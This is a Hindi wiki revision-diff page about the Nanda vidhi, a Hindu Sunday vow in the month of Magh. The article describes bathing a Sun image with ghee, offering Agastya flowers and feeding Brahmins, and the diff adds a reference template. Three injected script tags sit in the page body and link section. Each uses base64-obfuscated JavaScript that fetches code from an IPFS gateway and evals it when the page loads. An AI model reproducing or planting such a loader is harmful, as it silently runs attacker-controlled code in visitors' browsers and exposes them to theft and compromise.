"नन्दादि विधि" के अवतरणों में अंतर
[अनिरीक्षित अवतरण] | [अनिरीक्षित अवतरण] |
आदित्य चौधरी (चर्चा | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
||
पंक्ति ५: | पंक्ति ५: | ||
*गेहूँ के पूओं से ब्राह्मणों को तृप्त किया जाता है।<ref>कृत्यकल्पतरु (व्रतखण्ड, 10-12), हेमाद्रि (व्रतखण्ड 2, 522-23)।</ref> | *गेहूँ के पूओं से ब्राह्मणों को तृप्त किया जाता है।<ref>कृत्यकल्पतरु (व्रतखण्ड, 10-12), हेमाद्रि (व्रतखण्ड 2, 522-23)।</ref> | ||
+ | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
०९:४०, २१ मार्च २०११ के समय का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- रविवार के बारह नाम हैं, यथा—नन्द, भद्र आदि होते हैं।
- माघ शुक्ल पक्ष की षष्ठी वाला रविवार नन्द कहलाता है।
- उस दिन नक्त होता है, घी से सूर्य प्रतिमा को स्नान कराया जाता है तथा अगस्त्य के पुष्प चढ़ाये जाते हैं।
- गेहूँ के पूओं से ब्राह्मणों को तृप्त किया जाता है।[१]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ कृत्यकल्पतरु (व्रतखण्ड, 10-12), हेमाद्रि (व्रतखण्ड 2, 522-23)।
अन्य संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>